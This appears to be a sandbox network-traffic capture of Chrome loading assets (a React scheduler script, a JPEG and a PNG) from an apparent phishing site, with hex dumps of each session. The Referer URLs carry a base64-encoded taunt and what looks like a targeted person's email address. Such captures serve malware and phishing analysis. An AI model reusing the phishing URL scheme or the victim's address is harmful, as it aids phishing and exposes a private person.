2024-11-27 03:06:43 UTC	1369	IN	Data Raw: 73 20 61 66 66 69 6c 69 61 74 65 73 2e 0a 20 2a 0a 20 2a 20 54 68 69 73 20 73 6f 75 72 63 65 20 63 6f 64 65 20 69 73 20 6c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 20 66 6f 75 6e 64 20 69 6e 20 74 68 65 0a 20 2a 20 4c 49 43 45 4e 53 45 20 66 69 6c 65 20 69 6e 20 74 68 65 20 72 6f 6f 74 20 64 69 72 65 63 74 6f 72 79 20 6f 66 20 74 68 69 73 20 73 6f 75 72 63 65 20 74 72 65 65 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 49 2c 4c 29 7b 76 61 72 20 46 3d 49 2e 6c 65 6e 67 74 68 3b 49 2e 70 75 73 68 28 4c 29 3b 65 3a 66 6f 72 28 3b 30 3c 46 3b 29 7b 76 61 72 20 48 3d 46 2d 31 3e 3e 3e 31 2c 74 65 3d 49 5b 48 5d 3b 69 66 28 30 3c 6f 28 74 65 2c 4c 29 29 49 5b 48 5d 3d 4c 2c Data Ascii: s affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */(function(e){function t(I,L){var F=I.length;I.push(L);e:for(;0<F;){var H=F-1>>>1,te=I[H];if(0<o(te,L))I[H]=L,
2024-11-27 03:06:43 UTC	1369	IN	Data Raw: 72 61 74 69 6f 6e 54 69 6d 65 2c 74 28 61 2c 4c 29 3b 65 6c 73 65 20 62 72 65 61 6b 3b 4c 3d 6e 28 75 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 45 28 49 29 7b 69 66 28 76 3d 21 31 2c 68 28 49 29 2c 21 79 29 69 66 28 6e 28 61 29 21 3d 3d 6e 75 6c 6c 29 79 3d 21 30 2c 5f 65 28 78 29 3b 65 6c 73 65 7b 76 61 72 20 4c 3d 6e 28 75 29 3b 4c 21 3d 3d 6e 75 6c 6c 26 26 69 74 28 45 2c 4c 2e 73 74 61 72 74 54 69 6d 65 2d 49 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 78 28 49 2c 4c 29 7b 79 3d 21 31 2c 76 26 26 28 76 3d 21 31 2c 64 28 4e 29 2c 4e 3d 2d 31 29 2c 77 3d 21 30 3b 76 61 72 20 46 3d 6d 3b 74 72 79 7b 66 6f 72 28 68 28 4c 29 2c 66 3d 6e 28 61 29 3b 66 21 3d 3d 6e 75 6c 6c 26 26 28 21 28 66 2e 65 78 70 69 72 61 74 69 6f 6e 54 69 6d 65 3e 4c 29 7c 7c 49 26 26 21 24 28 29 Data Ascii: rationTime,t(a,L);else break;L=n(u)}}function E(I){if(v=!1,h(I),!y)if(n(a)!==null)y=!0,_e(x);else{var L=n(u);L!==null&&it(E,L.startTime-I)}}function x(I,L){y=!1,v&&(v=!1,d(N),N=-1),w=!0;var F=m;try{for(h(L),f=n(a);f!==null&&(!(f.expirationTime>L)\|\|I&&!$()
2024-11-27 03:06:43 UTC	1369	IN	Data Raw: 28 49 29 7b 30 3e 49 7c 7c 31 32 35 3c 49 3f 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 22 66 6f 72 63 65 46 72 61 6d 65 52 61 74 65 20 74 61 6b 65 73 20 61 20 70 6f 73 69 74 69 76 65 20 69 6e 74 20 62 65 74 77 65 65 6e 20 30 20 61 6e 64 20 31 32 35 2c 20 66 6f 72 63 69 6e 67 20 66 72 61 6d 65 20 72 61 74 65 73 20 68 69 67 68 65 72 20 74 68 61 6e 20 31 32 35 20 66 70 73 20 69 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 22 29 3a 67 3d 30 3c 49 3f 4d 61 74 68 2e 66 6c 6f 6f 72 28 31 65 33 2f 49 29 3a 35 7d 2c 65 2e 75 6e 73 74 61 62 6c 65 5f 67 65 74 43 75 72 72 65 6e 74 50 72 69 6f 72 69 74 79 4c 65 76 65 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6d 7d 2c 65 2e 75 6e 73 74 61 62 6c 65 5f 67 65 74 46 69 72 73 74 43 61 6c 6c 62 61 63 6b 4e Data Ascii: (I){0>I\|\|125<I?console.error("forceFrameRate takes a positive int between 0 and 125, forcing frame rates higher than 125 fps is not supported"):g=0<I?Math.floor(1e3/I):5},e.unstable_getCurrentPriorityLevel=function(){return m},e.unstable_getFirstCallbackN

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49747	91.208.197.216	443	6036	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:06:46 UTC	871	OUT	GET /beegee.jpg HTTP/1.1 Host: ft0.blockchainmemspool.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ft0.blockchainmemspool.site/session/SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=/product-mje%EF%BC%A0ml.avio.co.jp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-27 03:06:46 UTC	304	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 27 Nov 2024 03:06:46 GMT Content-Type: image/jpeg Content-Length: 40774 Last-Modified: Mon, 25 Nov 2024 14:35:49 GMT Connection: close ETag: "67448b45-9f46" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 Accept-Ranges: bytes
2024-11-27 03:06:46 UTC	1065	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 3c 00 00 ff e1 03 2a 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 32 31 20 37 39 2e 31 35 34 39 31 31 2c 20 32 30 31 33 2f 31 30 2f 32 39 2d 31 31 3a 34 37 3a 31 36 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifIIDucky<http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xm
2024-11-27 03:06:46 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 01 02 04 03 05 10 01 00 02 01 02 05 02 06 03 01 01 01 01 01 01 00 00 01 02 03 11 04 31 51 12 13 05 41 14 21 71 32 33 15 16 61 34 06 22 52 42 23 24 81 11 01 01 01 01 01 01 01 01 01 01 01 00 00 00 00 00 00 11 01 12 02 03 13 21 04 31 14 ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 fb 0f 03 e0 e2 d1 1f 00 7d 1c 7f 9f ae 9c 19 df 4b 13 1e 02 9c 8e 88 b4 7f 9f a4 fa 2d 45 e3 fc e5 27 d1 43 f5 ba 72 03 f5 ca 72 04 fe b5 5e 40 7e b5 5e 40 7e b5 5e 40 7e b5 5e 40 a5 bf ce d6 3d 00 af f9 da cf a0 2d 3f e6 eb a7 00 65 6f f3 f5 8f 40 53 f0 35 e4 0d 29 fe 7e b3 e8 09 b7 f9 ea 44 6b a0 b1 cd 93 c4 62 ac e8 95 ae 34 a7 87 c7 6e 10 a9 be 5d 14 ff 00 3f 59 f4 19 69 3f e7 2b c8 19 db fc fd 63 d0 15 fc 0d 39 02 f5 ff 00 3f 49 f4 05 e3 fc dd 27 Data Ascii: 1QA!q23a4"RB#$!1?}K-E'Crr^@~^@~^@~^@=-?eo@S5)~Dkb4n]?Yi?+c9?I'
2024-11-27 03:06:46 UTC	1369	IN	Data Raw: e3 14 48 33 b6 ef 10 8b 62 dc e3 b5 81 e8 63 c7 8e f4 d7 40 73 66 c1 48 9e 00 cb 5c 75 04 4c e3 98 06 56 e9 80 67 6b 46 a0 cb 3d e2 29 20 f1 b3 6e 34 b8 34 ae ee 3a 41 97 ba 89 b8 3d 6d 96 48 9a c0 35 cd 96 17 07 3c 5b 56 a2 2d 5c 91 59 4d c1 db 8b 24 4d 59 55 6d 68 ea 06 b4 bd 74 05 32 66 ab c7 df b8 b1 97 7a 1c bb fe 86 a2 f4 cb 0f 7f 9f d6 a6 e3 6e e5 74 7b d6 5c 5b 8d c4 44 b9 be bf 58 d6 63 1a ee 61 e5 f3 fb dd 5d c5 ab bb af 56 8e ef 3b 58 76 e2 cd 16 ab 42 b7 b4 6a 0b d6 d5 d0 1a 57 26 3f 50 79 fe 4b 73 5a d6 74 07 91 87 75 6b 65 ff 00 fd 07 bf b3 bc 4d 63 50 76 44 d4 13 ad 40 d6 a0 6b 50 35 a8 1a d4 0d 6a 06 b5 03 5a 81 ad 40 d6 a0 6b 50 35 a8 1a d4 0d 6a 06 b5 03 5a 81 ad 40 d6 a0 6b 50 35 a8 1a d4 0d 6a 06 b5 03 5a 81 ad 40 d6 a0 6b 50 35 a8 1a Data Ascii: H3bc@sfH\uLVgkF=) n44:A=mH5<[V-\YM$MYUmht2fznt{\[DXca]V;XvBjW&?PyKsZtukeMcPvD@kP5jZ@kP5jZ@kP5jZ@kP5
2024-11-27 03:06:46 UTC	1369	IN	Data Raw: af aa 84 4e 7f e4 44 eb 9b f9 04 6b 9f f9 03 ab 3f f2 08 ff 00 f6 fe 41 be d6 32 f5 c6 a9 aa fa 0d 95 e6 22 35 78 eb d3 1e 9f 5f ff 00 9b 2d 3f 37 f0 b9 6b 35 8f 8a 6a bd 3c b1 13 3a c4 bc 3d fc eb 79 e9 15 bc c7 ab c7 f1 6f b6 b8 ef f1 f8 cb 7e 7e 4c ef a7 a1 87 2d 62 3e 32 e8 f3 91 e7 ba 66 ed 5f 8c b6 8e 1c bb 4c 36 9f 40 56 bb 2c 3f c0 36 ae d7 04 72 07 4e 28 c5 4e 00 e9 8d cd 22 38 82 97 dc d2 7d 41 15 dc 53 98 29 9b 2d 2d 1c 5e 7e fc d6 bc eb cd cf 5a cc b8 fd 7c bf af 7c f6 c2 b5 ae af 7f 96 6e 3c bd ff 00 5d db 6b d6 be ae aa f2 8e de fd 3a 78 a2 b9 b2 e5 ae bc 53 71 73 5c d7 cf fc b8 7e bf 3a f7 f1 e9 a6 0c b1 af 16 3e 5f 3d c5 f7 e9 db df a7 4f 17 d0 f3 8e 7d 79 fb ac 91 3c 25 a4 71 4d 75 9f 8c aa 3b 76 91 4a e8 0f 42 72 d3 a7 4d 51 5e 76 ee 95 Data Ascii: NDk?A2"5x_-?7k5j<:=yo~~L-b>2f_L6@V,?6rN(N"8}AS)--^~Z\|\|n<]k:xSqs\~:>_=O}y<%qMu;vJBrMQ^v
2024-11-27 03:06:46 UTC	1369	IN	Data Raw: 1e a7 0b da f1 fe 9b 2c 7f f4 70 76 9f d9 b2 ff 00 e8 e1 3b 52 df e8 f2 4f a9 c1 da bf b0 5f 99 c1 d9 fb 0d f9 9c 2f 67 ec 17 e6 70 9d a2 7c fd f9 9c 1d 91 fe 82 fc ce 0e d3 fb 05 f9 9c 1d a3 f3 f7 e6 70 76 7e 7e fc ce 0e d3 fb 05 f9 9c 1d 9f b0 5f 99 c1 da 3f 3d 6e 67 07 64 79 eb 73 38 3b 4f ec 17 e6 70 76 98 ff 00 45 92 3d 4e 0e d7 8f f4 d9 63 ff 00 a3 83 b4 fe cf 97 ff 00 47 0b d9 fb 3e 5f fd 1c 1d 9f b3 e5 ff 00 d1 c1 d9 3f e9 b2 ff 00 e8 e1 3b 67 3f e8 b2 4f a9 c2 f6 8f d8 72 73 38 4e cf d8 72 73 38 3b 3f 60 bf 33 83 b4 7e 7e fc ce 0e d1 6f 3d 69 8e 27 07 6c 6d e5 e6 67 89 c1 da 3f 2f 3c ce 4e c8 f2 d3 af 13 93 b6 d4 f3 96 af a9 c2 f6 99 f3 d6 9f 53 84 ed 5f cd 5b 99 c9 da 63 ce 5a 3d 4e 0e d6 fc fd f9 9c 1d 9f 9f bf 33 83 b4 fe c1 7e 67 07 68 9f 3f Data Ascii: ,pv;RO_/gp\|pv~~_?=ngdys8;OpvE=NcG>_?;g?Ors8Nrs8;?`3~~o=i'lmg?/<NS_[cZ=N3~gh?
2024-11-27 03:06:46 UTC	1369	IN	Data Raw: fc 55 8e 0f d0 fc 55 8e 0f d0 fc 55 8e 0f d0 fc 55 8e 0f d1 3f 8a b1 c1 fa 23 f1 56 38 3f 43 f1 56 38 3f 43 f1 76 e4 70 7e 88 b7 8b b6 87 0b fa 3c fd e6 ca f4 89 67 7c 35 9e d6 f0 dd 71 b8 88 d7 d5 e1 eb 1e fe 35 fa 67 88 8f ff 00 08 f9 3c 75 d1 8e eb 41 86 b7 db 62 89 97 ae 63 cb 75 df 5c 15 d1 a8 cd 4f b7 a1 0a 7b 7a 72 21 51 ed a9 c8 85 3d b5 39 10 a7 b7 a7 22 14 f6 f4 e4 42 9e de 9c 88 53 db d3 91 0a 7b 7a 72 21 4f 6f 4e 44 29 ed e9 c8 85 3d bd 39 10 a7 b7 a7 22 14 f6 d4 e4 42 9e da 9c 88 53 db 53 91 0a 7b 7a 72 21 4f 6f 4e 44 29 ed a9 c8 85 63 9f 05 62 b2 df 9f 25 78 fb ac 91 49 75 f8 f9 54 ae 59 de c4 4b d7 ff 00 3a 74 d7 1e ea 2c ce fc 17 a4 db 3f c4 cf 8e 25 75 ec ed 17 98 d5 e3 f4 f9 45 af 57 1e 0a 4c 39 77 ca d5 fd bd 12 15 fc 99 e2 f1 f5 de 21 Data Ascii: UUUU?#V8?CV8?Cvp~<g\|5q5g<uAbcu\O{zr!Q=9"BS{zr!OoND)=9"BSS{zr!OoND)cb%xIuTYK:t,?%uEWL9w!
2024-11-27 03:06:46 UTC	1369	IN	Data Raw: 8e 57 e8 93 a3 93 a2 4e 8e 4e 89 3a 39 3a 24 e8 e4 e8 93 a3 93 a2 4e 8e 4e 89 3a 39 3a 24 e8 e4 e8 93 a3 95 67 0e ab d9 ca 93 b6 8e 4b fa 1c ad 18 22 3d 0e ce 53 d9 4e ce 53 18 b4 3a 39 4f 44 a7 47 27 44 9d 1c bf 96 7c 5e 4e 8b c4 b0 db ed fc 57 9b ec d6 3e 20 ef dc 7f a9 bc d3 48 b0 3e 73 c8 f9 7c 99 ad 3a c8 3c 8c 99 6d 69 5c 4d 7a de 13 ee 55 d1 e1 cb f4 7d f6 c3 ed 43 a3 1c 7a e8 c8 d2 33 af 13 07 5e 2e 0d 0d 60 42 41 8e 69 d2 b2 2b e6 7c ce f3 2e 3d 74 63 5e 9e 71 f3 39 bc be e6 2d 3f 19 79 d7 a4 65 f9 7d cf f2 52 23 f2 bb af e4 21 f9 4d d7 f2 10 fc 96 ea 79 84 4c 6f f7 73 cd 05 e3 77 bb 9e 6a 27 dc ee ff 00 91 0f 71 bb fe 55 48 cf bb fe 41 7a e6 dd ff 00 22 2f 19 b7 5f c8 2d 19 37 5f ca 8d 6b 7d d7 f2 23 5a 5f 73 fc 83 7a 64 dc 7f 22 34 ee 6e 3f 95 Data Ascii: WNN:9:$NN:9:$gK"=SNS:9ODG'D\|^NW> H>s\|:<mi\MzU}Cz3^.`BAi+\|.=tc^q9-?ye}R#!MyLoswj'qUHAz"/_-7_k}#Z_szd"4n?
2024-11-27 03:06:46 UTC	1369	IN	Data Raw: 00 00 09 00 00 01 00 00 09 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 24 00 00 00 00 00 00 00 00 04 00 00 00 00 00 24 00 01 00 00 00 00 00 00 00 48 00 00 00 2b 6e 00 f2 3c a4 7f cc b3 e9 bf 2f 2b c6 ff 00 6a 3e 6e 5f 6e bf 9b f4 bf 13 fd 58 f9 3c 35 d5 8a 6e eb ad d1 5d be 3b 6f 59 d1 07 ab 5d ad 34 e0 0b 7b 5c 60 7b 5c 60 7b 4c 60 9f 69 4e 40 8f 6b 8c 08 da 53 90 27 d9 d3 90 1e d2 9c 81 13 b5 c7 00 af 63 10 1e df 10 26 36 b8 e4 16 f6 74 e4 07 b2 a7 20 4f b2 a7 20 3d 95 39 01 ec a9 c8 0f 65 4e 40 7b 2a 72 03 d9 53 90 1e ca 9c 81 1e ca 9c 80 f6 74 e4 0a ce db 1c 2c 4a 88 db e3 92 15 6f 69 4e 48 a9 f6 74 e4 0f e4 8d a0 3d 0a 46 a0 d2 62 22 01 94 c8 22 57 13 5e cf 84 fb 95 74 78 72 fd 1f 7d b0 fb 50 e8 c7 1e ba 32 34 8c ab f5 0a ec c5 c1 a4 Data Ascii: $$H+n</+j>n_nX<5n];oY]4{\`{\`{L`iN@kS'c&6t O =9eN@{*rSt,JoiNHt=Fb""W^txr}P24
2024-11-27 03:06:46 UTC	1369	IN	Data Raw: bc f4 ce f9 79 b3 e1 e3 af 5d 17 a4 e5 e9 6c f6 9d b8 8f 83 1b ad 63 bb 4f f9 d1 15 fc 7f b4 80 77 d6 01 3a 01 a0 2b 65 c4 d7 b3 e1 3e e5 5d 1e 1c bf 47 df 6c 3e d4 3a 31 c7 ae 8b b4 8c e3 88 3a b1 70 68 6a 22 40 00 10 00 00 00 00 00 00 00 00 02 41 12 00 00 00 00 00 00 00 00 00 00 00 80 4e a8 0a 00 00 00 00 94 10 02 82 00 0a a0 02 08 24 00 14 00 04 6a 06 a0 6a 09 00 00 00 04 00 00 00 90 00 00 00 35 03 50 35 04 03 3c b1 ac 0a f2 37 9b 49 bc ca 6e 35 9a e4 fc 75 b9 24 5a ac f8 fb 6b c0 85 5b d8 5b 4e 04 2b 0c 9b 1b ea 45 cd 5f 06 ca f1 24 37 5d 9e d2 fd 2b 19 ae 7c 9b 0b cf a2 45 ae 7b 78 eb eb c1 22 d5 a3 65 78 8e 04 2a 9e c6 fa f0 21 5d 34 d9 de 2a b1 2b 1c 9b 3b cc 91 73 54 f6 57 d3 82 42 a3 d8 df 5e 04 5a d2 bb 3b c4 2c 4a 7b 3b ea 42 ba f6 fb 4b 46 9f Data Ascii: y]lcOw:+e>]Gl>:1:phj"@AN$jj5P5<7In5u$Zk[[N+E_$7]+\|E{x"ex!]4+;sTWB^Z;,J{;BKF
2024-11-27 03:06:46 UTC	1369	IN	Data Raw: 70 5a 36 79 20 1d db 4c 37 ac c6 aa 3d 4c 71 f0 41 a4 40 1a 01 a0 1a 01 a0 1a 01 a0 1a 01 a0 1a 01 a0 1a 01 a0 1a 01 a0 1a 01 a0 27 40 00 00 00 7f 1e 6d 01 df 50 48 00 a5 97 13 5e cf 84 fb 95 74 78 72 fd 1f 7d b0 fb 50 e8 c7 1f a7 4d f8 34 8c 63 88 3a b1 70 68 6d 02 12 00 00 00 00 20 00 01 20 00 09 04 48 00 00 08 90 00 04 c0 00 00 00 00 00 00 a8 91 18 64 c7 32 2b 19 c1 20 a5 b6 f2 41 11 b6 b2 42 af d8 95 81 3b 79 20 a7 b6 b2 40 9d b4 90 aa 4e d6 c4 5a 46 d2 c4 2a d1 b6 b1 12 ad 1b 69 21 56 8d bc a9 4e c4 85 47 b7 94 2a 63 6f 2a 54 ce 09 0a a4 ed a4 08 db c8 54 ce de 48 29 3b 6b 24 2a 3d ad 88 52 76 b6 21 48 da d8 8b 56 f6 d6 54 a9 f6 d2 85 4f b6 90 a4 ed a4 2a 93 b6 b1 16 a6 36 d6 12 a6 76 f6 0a 88 db 59 55 6e c5 84 52 db 7b 0b 51 ed 6c 85 44 ed 6c 42 a9 Data Ascii: pZ6y L7=LqA@'@mPH^txr}PM4c:phm Hd2+ AB;y @NZFi!VNGcoTTH);k$=Rv!HVTO*6vYUnR{QlDlB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49745	91.208.197.216	443	6036	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:06:46 UTC	877	OUT	GET /pdfbannerred.png HTTP/1.1 Host: ft0.blockchainmemspool.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ft0.blockchainmemspool.site/session/SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=/product-mje%EF%BC%A0ml.avio.co.jp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-27 03:06:46 UTC	302	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 27 Nov 2024 03:06:46 GMT Content-Type: image/png Content-Length: 7825 Last-Modified: Mon, 25 Nov 2024 14:35:51 GMT Connection: close ETag: "67448b47-1e91" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 Accept-Ranges: bytes
2024-11-27 03:06:46 UTC	1067	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 90 00 00 00 3c 08 06 00 00 00 48 16 ec ed 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 6d 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 32 31 20 37 39 2e 31 35 34 39 31 31 2c 20 32 30 31 33 2f 31 30 2f 32 39 2d 31 31 3a 34 37 3a 31 36 20 20 Data Ascii: PNGIHDR<HtEXtSoftwareAdobe ImageReadyqe<miTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16
2024-11-27 03:06:46 UTC	1369	IN	Data Raw: f3 9f dd e5 cd 2e f7 f6 6e ef 8e 2f f9 ff 13 46 24 ef f6 31 3b 3b 33 bf f9 3f 47 61 8c 01 81 40 20 10 08 41 a1 52 13 10 08 04 02 81 08 84 40 20 10 08 ab 86 90 fc c7 f4 33 1f ad 4a 9f 3d f7 0b 63 72 aa 41 09 87 f5 c0 57 53 14 30 ee de 0d 97 1d 8a fd 28 fc cc 5f 7f 8c 4d 4c 02 c8 2a 32 fe bb 52 55 05 fc da 00 86 91 f9 bc a2 02 d8 cc 4c f9 dc f3 27 5f 63 53 53 15 fc 18 bd a0 a7 d1 75 0d c2 e1 05 ad 33 fa be ba 91 1f 8c d3 eb 25 10 08 84 55 22 10 4b 22 79 ac e0 ab 71 52 50 42 21 d0 ba 76 fd 5a a9 aa 04 98 9b 77 4f f0 a0 6c da 04 4a 4d 0d ff 3d 2d dd 55 05 b5 ad 75 41 db b3 fb d6 e2 8f 7f fa e7 4a 75 b5 93 78 82 a3 8c 5e 2d 81 40 20 ac 2c dc 2a 2c 9c b5 ef 17 7a 31 36 3b 0b 6a 73 d3 9c b6 6f ef 97 61 62 8a 93 84 e1 2c 9c 14 d8 83 07 60 24 ef 83 31 31 91 29 f7 Data Ascii: .n/F$1;;3?Ga@ AR@ 3J=crAWS0(_ML2RUL'_cSSu3%U"K"yqRPB!vZwOlJM=-UuAJux^-@ ,,z16;jsoab,`$11)
2024-11-27 03:06:46 UTC	1369	IN	Data Raw: ee 2f 62 ae 2d 91 da a4 70 e2 18 e0 65 14 cc 0d b3 4e 5b e5 8c 15 aa 78 92 97 5e ea 4e 01 fa 80 b5 34 60 5e 7e d8 b9 cf 1d 90 ce 3f b3 56 f5 58 8d eb 05 bc 77 af 7c ff 3c 4a 6f ae 7a f3 3f 8e 49 df 1d 5b 81 3a cb d7 1f cd 71 ec e8 4a d6 25 47 dd 8e 65 f9 fe be 74 cc e9 d5 6a b7 8d de 57 0b 27 10 6b e3 a8 50 4f f7 b7 38 89 98 e4 20 a2 cf 99 60 33 e1 ae 8b e9 da 85 9b ae 1d 95 ce 49 a6 b6 16 f4 3f 26 de 3f ff e2 f0 ff a1 87 96 90 3a 50 2a b1 72 62 09 c2 e0 d7 c5 7d 41 94 b0 9d e6 24 2c ae 1f da db 75 23 74 a0 e7 a7 a6 a1 be 20 f2 38 c5 ff 3f c9 4b 34 cb 11 03 48 28 bc 26 27 88 1a 56 05 32 59 c7 58 f6 f7 42 58 ff 48 4a bf 47 b3 bd 4b 66 4a fd f2 77 89 35 9e 7c 71 cc e3 78 8f ac e3 45 da 80 45 64 c7 d6 eb 02 37 38 81 20 41 a0 71 fb 40 cf d7 71 cf 0f 21 71 54 Data Ascii: /b-peN[x^N4`^~?VXw\|<Joz?I[:qJ%GetjW'kPO8 `3I?&?:P*rb}A$,u#t 8?K4H(&'V2YXBXHJGKfJw5\|qxEEd78 Aq@q!qT
2024-11-27 03:06:46 UTC	1369	IN	Data Raw: 85 fc 37 60 e0 61 fe 12 88 cc ec 27 45 23 29 4a 34 cf 41 19 f1 e9 dc b6 1e d5 eb 25 1d 03 7f 23 5d 24 c7 cb 2d 04 5e 75 1c 2c f2 39 4e 06 b8 57 50 f5 d5 b0 6b 25 ea e7 8d 15 b8 1e d6 b5 72 b5 f1 89 1c 1e 60 91 2c 9f 9d 28 51 3f 59 73 58 13 e5 80 cf 21 f9 7a 00 0d fb a8 29 7b bd 8e 2b 51 bb 65 ed f7 2b 88 a0 e3 7b 00 fc 8d e0 51 28 a1 07 e8 0a f6 7d 31 4e 45 48 44 60 02 49 2d 0a 57 dc b2 3f 79 ea 79 8c 30 c7 34 25 98 a2 5d 6d e0 a5 b1 81 4f fc d5 22 a6 43 64 e4 c5 09 1e 0b 06 19 f2 9f fa f9 0b 7f ef c8 b8 5b 1e 06 e3 ee 78 99 71 e3 e6 df a8 5b 1e 01 a8 a8 10 86 77 51 50 8a 09 71 c2 c0 0d a7 90 a8 f0 a7 28 a6 97 97 76 70 ff 10 73 d9 58 02 74 6c 7b f0 8f f2 ba 9c e1 e5 a4 e5 2a 97 ad b1 06 5c 0d 89 ab aa 3e 70 ae 5a 7b 99 d4 39 ac 6b 1d 73 11 d8 71 21 fd 38 Data Ascii: 7`a'E#)J4A%#]$-^u,9NWPk%r`,(Q?YsX!z){+Qe+{Q(}1NEHD`I-W?yy04%]mO"Cd[xq[wQPq(vpsXtl{*\>pZ{9ksq!8
